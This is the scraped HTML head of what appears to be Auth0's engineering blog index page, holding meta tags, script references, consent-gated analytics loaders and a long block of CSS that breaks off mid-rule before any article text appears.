CINXE.COM

Auth0 Identity, Architecture, & Eng Articles

<!DOCTYPE html><html lang="en"><head><link rel="shortcut icon mask-icon" type="image/svg+xml" href="https://cdn.auth0.com/website/website/favicons/auth0-favicon.svg"/><link rel="shortcut icon" type="image/svg+xml" href="https://cdn.auth0.com/website/website/favicons/auth0-favicon.svg"/><link rel="shortcut icon" type="image/png" href="https://cdn.auth0.com/website/website/favicons/auth0-favicon-48.png"/><link rel="icon" sizes="16x16" type="image/png" href="https://cdn.auth0.com/website/website/favicons/auth0-favicon-16.png"/><link rel="icon" sizes="32x32" type="image/png" href="https://cdn.auth0.com/website/website/favicons/auth0-favicon-32.png"/><link rel="icon" sizes="48x48" type="image/png" href="https://cdn.auth0.com/website/website/favicons/auth0-favicon-48.png"/><link rel="icon" sizes="96x96" type="image/png" href="https://cdn.auth0.com/website/website/favicons/auth0-favicon-96.png"/><link rel="icon" sizes="144x144" type="image/png" href="https://cdn.auth0.com/website/website/favicons/auth0-favicon-144.png"/><link rel="apple-touch-icon" sizes="180x180" href="https://cdn.auth0.com/website/website/favicons/auth0-favicon-180.png"/><link rel="stylesheet" href="https://cdn.auth0.com/styleguide/core/3.0.0/core.min.css"/><script class="optanon-category-4" type="text/plain">window.twttr=function(t,e,r){var n,i=t.getElementsByTagName(e)[0],w=window.twttr||{};return t.getElementById(r)?w:((n=t.createElement(e)).id=r,n.src="https://platform.twitter.com/widgets.js",i.parentNode.insertBefore(n,i),w._e=[],w.ready=function(t){w._e.push(t)},w)}(document,"script","twitter-wjs");</script><script class="optanon-category-4" type="text/plain">(function (h, o, t, j, a, r) {h.hj = h.hj || function () { (h.hj.q = h.hj.q || []).push(arguments) }; h._hjSettings = { hjid: 301495, hjsv: 5 }; a = o.getElementsByTagName('head')[0]; r = o.createElement('script'); r.async = 1; r.src = t + h._hjSettings.hjid + j + h._hjSettings.hjsv; a.appendChild(r);}(window, document, '//static.hotjar.com/c/hotjar-', '.js?sv='))</script><script class="optanon-category-4" type="text/plain"> window._6si = window._6si || []; window._6si.push(['enableEventTracking', true]); window._6si.push(['setToken', '17aa5119e1d44eeab301f44113230d69']); window._6si.push(['setEndpoint', 'b.6sc.co']); (function() { var gd = document.createElement('script'); gd.type = 'text/javascript'; gd.async = true; gd.src = '//j.6sc.co/6si.min.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(gd, s); })();</script><link rel="canonical" href="https://auth0.com/blog/engineering/"/><title>Auth0 Identity, Architecture, &amp; Eng Articles</title><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0"/><meta charSet="utf-8"/><meta name="description" content="See Auth0 Identity - IAM, IDM, and more, Architecture - Cloud, Scalability, and more, and other Engineering and technical articles."/><meta property="fb:app_id" content="534074790006350"/><meta property="og:type" content="website"/><meta property="og:title" content="Engineering"/><meta property="og:site_name" content="Auth0 - Blog"/><meta property="og:description" content="See Auth0 Identity - IAM, IDM, and more, Architecture - Cloud, Scalability, and more, and other Engineering and technical articles."/><meta property="og:image" content="https://cdn.auth0.com/blog/illustrations/auth0.png"/><meta property="og:url" content="https://auth0.com/blog/engineering/"/><meta name="twitter:site" content="@auth0"/><meta name="twitter:creator" content="@auth0"/><meta name="twitter:title" content="Engineering"/><meta name="twitter:description" content="See Auth0 Identity - IAM, IDM, and more, Architecture - Cloud, Scalability, and more, and other Engineering and technical articles."/><meta name="twitter:url" content="https://auth0.com/blog/engineering/"/><meta name="twitter:card" content="summary"/><meta name="twitter:image" content="https://cdn.auth0.com/blog/illustrations/auth0.png"/><meta name="twitter:image:height" content="512"/><meta name="twitter:image:width" content="1024"/><meta name="HandheldFriendly" content="True"/><meta name="MobileOptimized" content="320"/><link rel="manifest" href="https://auth0.com/blog/manifest.json"/><link type="application/atom+xml" rel="alternate" href="https://auth0.com/blog/rss.xml" title="Auth0 Blog"/><link type="application/opensearchdescription+xml" rel="search" href="https://auth0.com/blog/osd.xml"/><link rel="preload" href="https://gdpr-service.herokuapp.com/get-country-region" as="fetch" crossorigin="anonymous"/><meta name="next-head-count" content="31"/><noscript data-n-css=""></noscript><script defer="" nomodule="" src="/blog/_next/static/chunks/polyfills-5cd94c89d3acac5f.js"></script><script src="/blog/_next/static/chunks/webpack-1b139f7f105f29d0.js" defer=""></script><script src="/blog/_next/static/chunks/framework-7937d74165d2993d.js" defer=""></script><script src="/blog/_next/static/chunks/main-c16094a955a57664.js" defer=""></script><script src="/blog/_next/static/chunks/pages/_app-f89bd02ac0c8e871.js" defer=""></script><script src="/blog/_next/static/chunks/9236dd9e-5d3c864289962a6d.js" defer=""></script><script src="/blog/_next/static/chunks/d81dd7c5-881fac382d625749.js" defer=""></script><script src="/blog/_next/static/chunks/1332-207222a61b837ea7.js" defer=""></script><script src="/blog/_next/static/chunks/1160-44dd30190751e9f9.js" defer=""></script><script src="/blog/_next/static/chunks/9418-4267d210fc322e4b.js" defer=""></script><script src="/blog/_next/static/chunks/6554-9e23ed423103e3ee.js" defer=""></script><script src="/blog/_next/static/chunks/501-eaf9b056a3f72787.js" defer=""></script><script src="/blog/_next/static/chunks/1481-72d204cf1a7dbc4d.js" defer=""></script><script src="/blog/_next/static/chunks/pages/blog/engineering-190b5b7bf18c675e.js" defer=""></script><script src="/blog/_next/static/sbdc01OnY4MwK1OQEBgnb/_buildManifest.js" defer=""></script><script src="/blog/_next/static/sbdc01OnY4MwK1OQEBgnb/_ssgManifest.js" defer=""></script><script src="/blog/_next/static/sbdc01OnY4MwK1OQEBgnb/_middlewareManifest.js" defer=""></script><style data-styled="" data-styled-version="5.2.1">html{line-height:1.15;-webkit-text-size-adjust:100%;}/*!sc*/ body{margin:0;}/*!sc*/ main{display:block;}/*!sc*/ h1{font-size:2em;margin:0.67em 0;}/*!sc*/ hr{box-sizing:content-box;height:0;overflow:visible;}/*!sc*/ pre{font-family:monospace,monospace;font-size:1em;}/*!sc*/ a{background-color:transparent;}/*!sc*/ abbr[title]{border-bottom:none;-webkit-text-decoration:underline;text-decoration:underline;-webkit-text-decoration:underline dotted;text-decoration:underline dotted;}/*!sc*/ b,strong{font-weight:bolder;}/*!sc*/ code,kbd,samp{font-family:monospace,monospace;font-size:1em;}/*!sc*/ small{font-size:80%;}/*!sc*/ sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline;}/*!sc*/ sub{bottom:-0.25em;}/*!sc*/ sup{top:-0.5em;}/*!sc*/ img{border-style:none;}/*!sc*/ button,input,optgroup,select,textarea{font-family:inherit;font-size:100%;line-height:1.15;margin:0;}/*!sc*/ button,input{overflow:visible;}/*!sc*/ button,select{text-transform:none;}/*!sc*/ button,[type="button"],[type="reset"],[type="submit"]{-webkit-appearance:button;}/*!sc*/ button::-moz-focus-inner,[type="button"]::-moz-focus-inner,[type="reset"]::-moz-focus-inner,[type="submit"]::-moz-focus-inner{border-style:none;padding:0;}/*!sc*/ button:-moz-focusring,[type="button"]:-moz-focusring,[type="reset"]:-moz-focusring,[type="submit"]:-moz-focusring{outline:1px dotted ButtonText;}/*!sc*/ fieldset{padding:0.35em 0.75em 0.625em;}/*!sc*/ legend{box-sizing:border-box;color:inherit;display:table;max-width:100%;padding:0;white-space:normal;}/*!sc*/ progress{vertical-align:baseline;}/*!sc*/ textarea{overflow:auto;}/*!sc*/ [type="checkbox"],[type="radio"]{box-sizing:border-box;padding:0;}/*!sc*/ [type="number"]::-webkit-inner-spin-button,[type="number"]::-webkit-outer-spin-button{height:auto;}/*!sc*/ [type="search"]{-webkit-appearance:textfield;outline-offset:-2px;}/*!sc*/ [type="search"]::-webkit-search-decoration{-webkit-appearance:none;}/*!sc*/ ::-webkit-file-upload-button{-webkit-appearance:button;font:inherit;}/*!sc*/ details{display:block;}/*!sc*/ summary{display:list-item;}/*!sc*/ template{display:none;}/*!sc*/ [hidden]{display:none;}/*!sc*/ data-styled.g52[id="sc-global-ecVvVt1"]{content:"sc-global-ecVvVt1,"}/*!sc*/ @font-face{font-family:'Aeonik';font-style:normal;font-weight:400;font-display:swap;src:local('Aeonik-Regular'),url('https://cdn.auth0.com/website/cic-homepage/fonts/Aeonik-Regular.woff2') format('woff2');}/*!sc*/ @font-face{font-family:'Aeonik';font-style:normal;font-weight:500;font-display:swap;src:local('Aeonik-Medium'),url('https://cdn.auth0.com/website/cic-homepage/fonts/Aeonik-Medium.woff2') format('woff2');}/*!sc*/ @font-face{font-family:'Aeonik Mono';font-style:normal;font-weight:400;font-display:swap;src:local('AeonikMono-Regular'),url('https://cdn.auth0.com/website/okta-fonts/AeonikMono-Regular.woff2') format('woff2');}/*!sc*/ @font-face{font-family:'Aeonik Mono';font-style:normal;font-weight:500;font-display:swap;src:local('AeonikMono-Medium'),url('https://cdn.auth0.com/website/okta-fonts/AeonikMono-Medium.ttf') format('woff2');}/*!sc*/ @font-face{font-family:'Inter';font-style:normal;font-weight:400;font-display:swap;src:local('Inter-Regular'),url('https://cdn.auth0.com/website/fonts/Inter-Regular.woff2') format('woff2');}/*!sc*/ @font-face{font-family:'Inter';font-style:normal;font-weight:500;font-display:swap;src:local('Inter-Medium'),url('https://cdn.auth0.com/website/fonts/Inter-Medium.woff2') format('woff2');}/*!sc*/ @font-face{font-family:'Inter';font-style:normal;font-weight:700;font-display:swap;src:local('Inter-Bold'),url('https://cdn.auth0.com/website/fonts/Inter-Bold.woff2') format('woff2');}/*!sc*/ :root{--content-width:120rem;--font-main:'fakt-web',sans-serif;}/*!sc*/ .lightbox{width:100%;height:100%;position:fixed;top:0;left:0;background:rgba(0,0,0,0.85);z-index:9999999;line-height:0;cursor:pointer;}/*!sc*/ .lightbox-image{max-width:100%;cursor:pointer;margin:0 auto;display:block;}/*!sc*/ .lightbox img{position:relative;top:50%;left:50%;-ms-transform:translateX(-50%) translateY(-50%);-webkit-transform:translate(-50%,-50%);-webkit-transform:translate(-50%,-50%);-ms-transform:translate(-50%,-50%);transform:translate(-50%,-50%);max-width:100%;max-height:100%;}/*!sc*/ @media screen and (min-width:1200px){.lightbox img{max-width:1200px;}}/*!sc*/ @media screen and (min-height:1200px){.lightbox img{max-height:1200px;}}/*!sc*/ .lightbox span{display:block;position:fixed;bottom:13px;height:1.5em;line-height:1.4em;width:100%;text-align:center;color:white;text-shadow:-1px -1px 0 #000,1px -1px 0 #000,-1px 1px 0 #000,1px 1px 0 #000;font-family:'fakt-web','Helvetica Neue',Hevetica,sans-serif;font-size:18px;}/*!sc*/ .lightbox .videoWrapperContainer{position:relative;top:50%;left:50%;-ms-transform:translateX(-50%) translateY(-50%);-webkit-transform:translate(-50%,-50%);-webkit-transform:translate(-50%,-50%);-ms-transform:translate(-50%,-50%);transform:translate(-50%,-50%);max-width:900px;max-height:100%;}/*!sc*/ .lightbox .videoWrapperContainer .videoWrapper{height:0;line-height:0;margin:0;padding:0;position:relative;padding-bottom:56.333%;background:black;}/*!sc*/ .lightbox .videoWrapper iframe{position:absolute;top:0;left:0;width:100%;height:100%;border:0;display:block;}/*!sc*/ .lightbox #prev,.lightbox #next{height:50px;line-height:36px;display:none;margin-top:-25px;position:fixed;top:50%;padding:0 15px;cursor:pointer;-webkit-text-decoration:none;text-decoration:none;z-index:99;color:white;font-size:60px;font-family:'fakt-web','Helvetica Neue',Hevetica,sans-serif;}/*!sc*/ .lightbox.gallery #prev,.lightbox.gallery #next{display:block;}/*!sc*/ .lightbox #prev{left:0;}/*!sc*/ .lightbox #next{right:0;}/*!sc*/ .lightbox #close{height:50px;width:50px;position:fixed;cursor:pointer;-webkit-text-decoration:none;text-decoration:none;z-index:99;right:0;top:0;}/*!sc*/ .lightbox #close:after,.lightbox #close:before{position:absolute;margin-top:22px;margin-left:14px;content:'';height:3px;background:white;width:23px;-webkit-transform-origin:50% 50%;-ms-transform-origin:50% 50%;transform-origin:50% 50%;-webkit-transform:rotate(-45deg);-ms-transform:rotate(-45deg);transform:rotate(-45deg);}/*!sc*/ .lightbox #close:after{-webkit-transform:rotate(45deg);-ms-transform:rotate(45deg);transform:rotate(45deg);}/*!sc*/ .lightbox,.lightbox *{-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;}/*!sc*/ body{box-sizing:border-box;font-family:var(--font-main);font-size:2rem;line-height:3.2rem;}/*!sc*/ html{font-size:10px;}/*!sc*/ data-styled.g53[id="sc-global-guUULU1"]{content:"sc-global-guUULU1,"}/*!sc*/ html{font-size:62.5%;}/*!sc*/ body.modal-open{overflow:hidden;}/*!sc*/ data-styled.g54[id="sc-global-gUclnr1"]{content:"sc-global-gUclnr1,"}/*!sc*/ .etdOck{margin:0;-webkit-align-items:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;background:linear-gradient(0deg,rgba(255,255,255,0.40) 0%,rgba(255,255,255,0.40) 100%),radial-gradient(123.72% 71.29% at 7.15% 100%,#FFF 0%,rgba(255,255,255,0.00) 100%),radial-gradient(234.4% 144.94% at 84.62% 0%,#FFF 0%,rgba(255,255,255,0.00) 100%),linear-gradient(26deg,rgba(255,255,255,0.17) -32.04%,rgba(255,255,255,0.00) 133.43%);border-width:0;border-radius:0.6rem;border-style:solid;color:#000000;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;font-size:1.6rem;line-height:2.4rem;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;padding:1.2rem 3.2rem;width:100%;height:-webkit-fit-content;height:-moz-fit-content;height:fit-content;-webkit-text-decoration:none;text-decoration:none;-webkit-transition:all 0.4s ease-in-out;transition:all 0.4s ease-in-out;font-family:Aeonik,sans-serif;font-style:normal;font-weight:500;position:relative;overflow:hidden;box-shadow:0px -16px 24px 0px rgba(255,255,255,0.48) inset,0px 4px 4px 0px rgba(0,0,0,0.25);}/*!sc*/ @media screen and (min-width:900px){.etdOck{width:-webkit-fit-content;width:-moz-fit-content;width:fit-content;}}/*!sc*/ .etdOck:active{color:#191919;background:linear-gradient(0deg,rgba(0,0,0,0.20) 0%,rgba(0,0,0,0.20) 100%),linear-gradient(0deg,rgba(255,255,255,0.70) 0%,rgba(255,255,255,0.70) 100%),radial-gradient(120.32% 83.76% at 50% 100%,#FFF 0%,rgba(255,255,255,0.00) 100%),radial-gradient(47.47% 14.92% at 50% 0%,#FFF 0%,rgba(255,255,255,0.00) 100%),radial-gradient(67.49% 95.06% at 50% 15.5%,#FFF 0%,rgba(255,255,255,0.36) 100%),radial-gradient(33.16% 50% at 50% 0%,#FFF 0%,rgba(255,255,255,0.00) 100%);}/*!sc*/ .etdOck:hover{-webkit-transition:all 0.4s ease-in-out;transition:all 0.4s ease-in-out;color:#191919;background:linear-gradient(0deg,rgba(255,255,255,0.70) 0%,rgba(255,255,255,0.70) 100%),radial-gradient(120.32% 83.76% at 50% 100%,#FFF 0%,rgba(255,255,255,0.00) 100%),radial-gradient(47.47% 14.92% at 50% 0%,#FFF 0%,rgba(255,255,255,0.00) 100%),radial-gradient(67.49% 95.06% at 50% 15.5%,#FFF 0%,rgba(255,255,255,0.36) 100%),radial-gradient(33.16% 50% at 50% 0%,#FFF 0%,rgba(255,255,255,0.00) 100%);cursor:pointer;}/*!sc*/ .etdOck:hover{box-shadow:0px 8px 28px 0px rgba(255,255,255,0.08);}/*!sc*/ .etdOck:active{box-shadow:0px 8px 28px 0px rgba(255,255,255,0.08);}/*!sc*/ .etdOck:disabled{box-shadow:0px -16px 24px 0px rgba(255,255,255,0.48) inset,0px 4px 4px 0px rgba(0,0,0,0.25);}/*!sc*/ .etdOck span{z-index:3;}/*!sc*/ .etdOck:hover{background:linear-gradient(0deg,rgba(255,255,255,0.40) 0%,rgba(255,255,255,0.40) 100%),radial-gradient(123.72% 71.29% at 7.15% 100%,#FFF 0%,rgba(255,255,255,0.00) 100%),radial-gradient(234.4% 144.94% at 84.62% 0%,#FFF 0%,rgba(255,255,255,0.00) 100%),linear-gradient(26deg,rgba(255,255,255,0.17) -32.04%,rgba(255,255,255,0.00) 133.43%);}/*!sc*/ .etdOck::before{content:'';width:100%;height:100%;display:inline-block;background:linear-gradient(0deg,rgba(255,255,255,0.70) 0%,rgba(255,255,255,0.70) 100%),radial-gradient(120.32% 83.76% at 50% 100%,#FFF 0%,rgba(255,255,255,0.00) 100%),radial-gradient(47.47% 14.92% at 50% 0%,#FFF 0%,rgba(255,255,255,0.00) 100%),radial-gradient(67.49% 95.06% at 50% 15.5%,#FFF 0%,rgba(255,255,255,0.36) 100%),radial-gradient(33.16% 50% at 50% 0%,#FFF 0%,rgba(255,255,255,0.00) 100%);opacity:0;position:absolute;-webkit-transition:all 0.4s ease-in-out;transition:all 0.4s ease-in-out;}/*!sc*/ .etdOck:hover::before{opacity:1;}/*!sc*/ .cmgpvv{margin:0;-webkit-align-items:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;background:linear-gradient(26deg,rgba(255,255,255,0.15) -32.04%,rgba(255,255,255,0.00) 133.43%);border-width:1.5px;border-color:linear-gradient(29.98deg,rgba(255,254,250,0.7) 23.72%,rgba(255,254,250,0) 107.71%);border-radius:0.6rem;border-style:solid;color:#FFFEFA;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;font-size:1.6rem;line-height:2.4rem;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;padding:1.2rem 3.2rem;width:100%;height:-webkit-fit-content;height:-moz-fit-content;height:fit-content;-webkit-text-decoration:none;text-decoration:none;-webkit-transition:all 0.4s ease-in-out;transition:all 0.4s ease-in-out;font-family:Aeonik,sans-serif;font-style:normal;font-weight:500;position:relative;overflow:hidden;border:none;}/*!sc*/ @media screen and (min-width:900px){.cmgpvv{width:-webkit-fit-content;width:-moz-fit-content;width:fit-content;}}/*!sc*/ .cmgpvv:active{color:rgba(255,254,250,0.8);border-color:linear-gradient(29.98deg,rgba(255,254,250,0.8) 23.72%,rgba(255,254,250,0) 107.71%);background:linear-gradient(0deg,rgba(0,0,0,0.20) 0%,rgba(0,0,0,0.20) 100%),linear-gradient(26deg,rgba(255,255,255,0.08) -32.04%,rgba(255,255,255,0.00) 133.43%);}/*!sc*/ .cmgpvv:hover{-webkit-transition:all 0.4s ease-in-out;transition:all 0.4s ease-in-out;border-color:linear-gradient(29.98deg,rgba(255,254,250,0.8) 23.72%,rgba(255,254,250,0) 107.71%);color:#FFFEFA;background:radial-gradient(72.18% 56.98% at 50% 100%,rgba(255,255,255,0.20) 0%,rgba(255,255,255,0.00) 100%),radial-gradient(100.79% 100% at 50% 0%,rgba(255,255,255,0.40) 0%,rgba(255,255,255,0.00) 100%),linear-gradient(26deg,rgba(255,255,255,0.08) -32.04%,rgba(255,255,255,0.00) 133.43%);cursor:pointer;}/*!sc*/ .cmgpvv span{z-index:3;}/*!sc*/ .cmgpvv:hover{background:linear-gradient(26deg,rgba(255,255,255,0.15) -32.04%,rgba(255,255,255,0.00) 133.43%);}/*!sc*/ .cmgpvv::before{content:'';width:100%;height:100%;display:inline-block;background:radial-gradient(72.18% 56.98% at 50% 100%,rgba(255,255,255,0.20) 0%,rgba(255,255,255,0.00) 100%),radial-gradient(100.79% 100% at 50% 0%,rgba(255,255,255,0.40) 0%,rgba(255,255,255,0.00) 100%),linear-gradient(26deg,rgba(255,255,255,0.08) -32.04%,rgba(255,255,255,0.00) 133.43%);opacity:0;position:absolute;-webkit-transition:all 0.4s ease-in-out;transition:all 0.4s ease-in-out;}/*!sc*/ .cmgpvv:hover::before{opacity:1;}/*!sc*/ .cmgpvv span{z-index:10;}/*!sc*/ .cmgpvv::after{content:'';width:100%;height:100%;display:inline-block;position:absolute;border-radius:6px;padding:1.5px;z-index:999;background:linear-gradient(29.98deg,rgba(255,254,250,0.7) 23.72%,rgba(255,254,250,0) 107.71%);-webkit-mask:linear-gradient(#fff 0 0) content-box,linear-gradient(#fff 0 0);-webkit-mask-composite:xor;-webkit-mask-composite:exclude;mask-composite:exclude;-webkit-transition:all 0.4s ease-in-out;transition:all 0.4s ease-in-out;}/*!sc*/ .cmgpvv:active::after{background:linear-gradient(0deg,rgba(0,0,0,0.2),rgba(0,0,0,0.2)),linear-gradient(29.98deg,rgba(255,254,250,0.7) 23.72%,rgba(255,254,250,0) 107.71%);}/*!sc*/ .cmgpvv:hover::after{background:linear-gradient(29.98deg,rgba(255,254,250,0.8) 23.72%,rgba(255,254,250,0) 107.71%);}/*!sc*/ .cmgpvv:disabled::after{background:linear-gradient(29.98deg,rgba(255,254,250,0.7) 23.72%,rgba(255,254,250,0) 107.71%);}/*!sc*/ .dmEnyJ{margin:0;-webkit-align-items:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;background:radial-gradient(223% 105.53% at 6.05% 199.17%,rgba(255,255,255,0.14) 0%,rgba(255,255,255,0.00) 100%),radial-gradient(31.68% 130.91% at 100% 0%,rgba(255,255,255,0.20) 0%,rgba(255,255,255,0.00) 100%),radial-gradient(43.14% 139.47% at 0% 136.21%,rgba(227,235,255,0.30) 0%,rgba(255,255,255,0.00) 100%),linear-gradient(170deg,#4016A0 7.99%,#3F59E4 93.36%);border-width:0;border-color:radial-gradient(223% 105.53% at 6.05% 199.17%,rgba(255,255,255,0.14) 0%,rgba(255,255,255,0.00) 100%),radial-gradient(31.68% 130.91% at 100% 0%,rgba(255,255,255,0.20) 0%,rgba(255,255,255,0.00) 100%),radial-gradient(43.14% 139.47% at 0% 136.21%,rgba(227,235,255,0.30) 0%,rgba(255,255,255,0.00) 100%),linear-gradient(170deg,#4016A0 7.99%,#3F59E4 93.36%);border-radius:0.6rem;border-style:solid;color:#FFFEFA;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;font-size:1.6rem;line-height:2.4rem;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;padding:1.2rem 3.2rem;width:100%;height:-webkit-fit-content;height:-moz-fit-content;height:fit-content;-webkit-text-decoration:none;text-decoration:none;-webkit-transition:all 0.4s ease-in-out;transition:all 0.4s ease-in-out;font-family:Aeonik,sans-serif;font-style:normal;font-weight:500;position:relative;overflow:hidden;}/*!sc*/ @media screen and (min-width:900px){.dmEnyJ{width:-webkit-fit-content;width:-moz-fit-content;width:fit-content;}}/*!sc*/ .dmEnyJ:active{color:rgba(255,254,250,0.8);border-color:radial-gradient(1357.61% 111.93% at 58.53% 60.34%,rgba(255,255,255,0.40) 0%,rgba(180,155,252,0.00) 0.01%,rgba(182,202,255,0.40) 100%),radial-gradient(69% 81.35% at -8.65% 100%,rgba(255,255,255,0.20) 0%,rgba(255,255,255,0.00) 100%),radial-gradient(637.58% 79.63% at 96.25% -14.82%,rgba(255,255,255,0.20) 0%,rgba(255,255,255,0.00) 100%),radial-gradient(1373.34% 61.44% at -8.75% 153.45%,rgba(227,235,255,0.30) 0%,rgba(255,255,255,0.00) 100%),linear-gradient(170deg,#3F59E4 7.99%,#3F59E4 93.36%);background:linear-gradient(0deg,rgba(0,0,0,0.20) 0%,rgba(0,0,0,0.20) 100%),radial-gradient(1357.61% 111.93% at 58.53% 60.34%,rgba(255,255,255,0.40) 0%,rgba(180,155,252,0.00) 0.01%,rgba(182,202,255,0.40) 100%),radial-gradient(69% 81.35% at -8.65% 100%,rgba(255,255,255,0.20) 0%,rgba(255,255,255,0.00) 100%),radial-gradient(637.58% 79.63% at 96.25% -14.82%,rgba(255,255,255,0.20) 0%,rgba(255,255,255,0.00) 100%),radial-gradient(1373.34% 61.44% at -8.75% 153.45%,rgba(227,235,255,0.30) 0%,rgba(255,255,255,0.00) 100%),linear-gradient(170deg,#3F59E4 7.99%,#3F59E4 93.36%);-webkit-backdrop-filter:blur(34px);backdrop-filter:blur(34px);}/*!sc*/ .dmEnyJ:hover{-webkit-transition:all 0.4s ease-in-out;transition:all 0.4s ease-in-out;border-color:radial-gradient(1357.61% 111.93% at 58.53% 60.34%,rgba(255,255,255,0.40) 0%,rgba(180,155,252,0.00) 0.01%,rgba(182,202,255,0.40) 100%),radial-gradient(69% 81.35% at -8.65% 100%,rgba(255,255,255,0.20) 0%,rgba(255,255,255,0.00) 100%),radial-gradient(637.58% 79.63% at 96.25% -14.82%,rgba(255,255,255,0.20) 0%,rgba(255,255,255,0.00) 100%),radial-gradient(1373.34% 61.44% at -8.75% 153.45%,rgba(227,235,255,0.30) 0%,rgba(255,255,255,0.00) 100%),linear-gradient(170deg,#3F59E4 7.99%,#3F59E4 93.36%);color:#FFFEFA;background:radial-gradient(1357.61% 111.93% at 58.53% 60.34%,rgba(255,255,255,0.40) 0%,rgba(180,155,252,0.00) 0.01%,rgba(182,202,255,0.40) 100%),radial-gradient(69% 81.35% at -8.65% 100%,rgba(255,255,255,0.20) 0%,rgba(255,255,255,0.00) 100%),radial-gradient(637.58% 79.63% at 96.25% -14.82%,rgba(255,255,255,0.20) 0%,rgba(255,255,255,0.00) 100%),radial-gradient(1373.34% 61.44% at -8.75% 153.45%,rgba(227,235,255,0.30) 0%,rgba(255,255,255,0.00) 100%),linear-gradient(170deg,#3F59E4 7.99%,#3F59E4 93.36%);cursor:pointer;-webkit-backdrop-filter:blur(34px);backdrop-filter:blur(34px);}/*!sc*/ .dmEnyJ:hover{box-shadow:0px 8px 55px 0px rgba(182,202,255,0.24);}/*!sc*/ .dmEnyJ:active{box-shadow:0px 8px 55px 0px rgba(182,202,255,0.24);}/*!sc*/ .dmEnyJ span{z-index:3;}/*!sc*/ .dmEnyJ:hover{background:radial-gradient(223% 105.53% at 6.05% 199.17%,rgba(255,255,255,0.14) 0%,rgba(255,255,255,0.00) 100%),radial-gradient(31.68% 130.91% at 100% 0%,rgba(255,255,255,0.20) 0%,rgba(255,255,255,0.00) 100%),radial-gradient(43.14% 139.47% at 0% 136.21%,rgba(227,235,255,0.30) 0%,rgba(255,255,255,0.00) 100%),linear-gradient(170deg,#4016A0 7.99%,#3F59E4 93.36%);}/*!sc*/ .dmEnyJ::before{content:'';width:100%;height:100%;display:inline-block;background:radial-gradient(1357.61% 111.93% at 58.53% 60.34%,rgba(255,255,255,0.40) 0%,rgba(180,155,252,0.00) 0.01%,rgba(182,202,255,0.40) 100%),radial-gradient(69% 81.35% at -8.65% 100%,rgba(255,255,255,0.20) 0%,rgba(255,255,255,0.00) 100%),radial-gradient(637.58% 79.63% at 96.25% -14.82%,rgba(255,255,255,0.20) 0%,rgba(255,255,255,0.00) 100%),radial-gradient(1373.34% 61.44% at -8.75% 153.45%,rgba(227,235,255,0.30) 0%,rgba(255,255,255,0.00) 100%),linear-gradient(170deg,#3F59E4 7.99%,#3F59E4 93.36%);opacity:0;position:absolute;-webkit-transition:all 0.4s ease-in-out;transition:all 0.4s ease-in-out;}/*!sc*/ .dmEnyJ:hover::before{opacity:1;}/*!sc*/ data-styled.g229[id="styled__Button-sc-1hwml9q-0"]{content:"etdOck,cmgpvv,dmEnyJ,"}/*!sc*/ .FYDuM.FYDuM.FYDuM{color:#99A7F1;-webkit-text-decoration:underline;text-decoration:underline;}/*!sc*/ .bPWQw.bPWQw.bPWQw{width:100%;}/*!sc*/ .bKQnZO.bKQnZO.bKQnZO{margin-top:1.6rem;width:100%;}/*!sc*/ .iCUAvT.iCUAvT.iCUAvT{color:#ABABAB;font-weight:500;line-height:1.8rem;margin-bottom:2.1rem;}/*!sc*/ .eldvFb.eldvFb.eldvFb{-webkit-text-decoration:none;text-decoration:none;line-height:2.2rem;}/*!sc*/ .bdewcp.bdewcp.bdewcp{color:#8c929c;margin:0;}/*!sc*/ .eTNTBu.eTNTBu.eTNTBu{font-family:Aeonik,sans-serif;color:#FFFFFF;margin:0.4rem 0 0;font-weight:500;font-size:1.6rem;line-height:2rem;}/*!sc*/ .czoLEI.czoLEI.czoLEI{display:block;-webkit-text-decoration:underline;text-decoration:underline;}/*!sc*/ .jrcqSi.jrcqSi.jrcqSi{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-text-decoration:none;text-decoration:none;}/*!sc*/ .kXdnOe.kXdnOe.kXdnOe{font-family:Aeonik,sans-serif;color:#e5e5e5;font-size:1.4rem;-webkit-letter-spacing:0.015rem;-moz-letter-spacing:0.015rem;-ms-letter-spacing:0.015rem;letter-spacing:0.015rem;line-height:2rem;}/*!sc*/ .dKTRwW.dKTRwW.dKTRwW{color:#8c929c;}/*!sc*/ .crZFdA.crZFdA.crZFdA{-webkit-text-decoration:none;text-decoration:none;display:block;}/*!sc*/ .iyreho.iyreho.iyreho{margin-right:1.6rem;-webkit-letter-spacing:0.032rem;-moz-letter-spacing:0.032rem;-ms-letter-spacing:0.032rem;letter-spacing:0.032rem;white-space:nowrap;}/*!sc*/ @media screen and (min-width:1200px){.iyreho.iyreho.iyreho{padding:0.8rem 2.4rem;}}/*!sc*/ .dTOMa-D.dTOMa-D.dTOMa-D{-webkit-letter-spacing:0.032rem;-moz-letter-spacing:0.032rem;-ms-letter-spacing:0.032rem;letter-spacing:0.032rem;white-space:nowrap;}/*!sc*/ @media screen and (min-width:1200px){.dTOMa-D.dTOMa-D.dTOMa-D{padding:0.8rem 2.2rem;}}/*!sc*/ .cvLfHs.cvLfHs.cvLfHs{color:#FFFEFA;}/*!sc*/ .lmzreS.lmzreS.lmzreS{padding:1.6rem;color:#8E8E8E;}/*!sc*/ .hZxSJK.hZxSJK.hZxSJK{display:inline-block;color:#FFFEFA;}/*!sc*/ .gCRKXL.gCRKXL.gCRKXL{display:inline-block;color:#8E8E8E;}/*!sc*/ .keBOjr.keBOjr.keBOjr{color:#FFFEFA;opacity:0.5;}/*!sc*/ .bBeyP.bBeyP.bBeyP{color:#E5E5E5;font-weight:400;}/*!sc*/ .hvtcVw.hvtcVw.hvtcVw{color:#E5E5E5;}/*!sc*/ .bUPNrc.bUPNrc.bUPNrc{text-transform:capitalize;color:#7192EC;border:1px solid 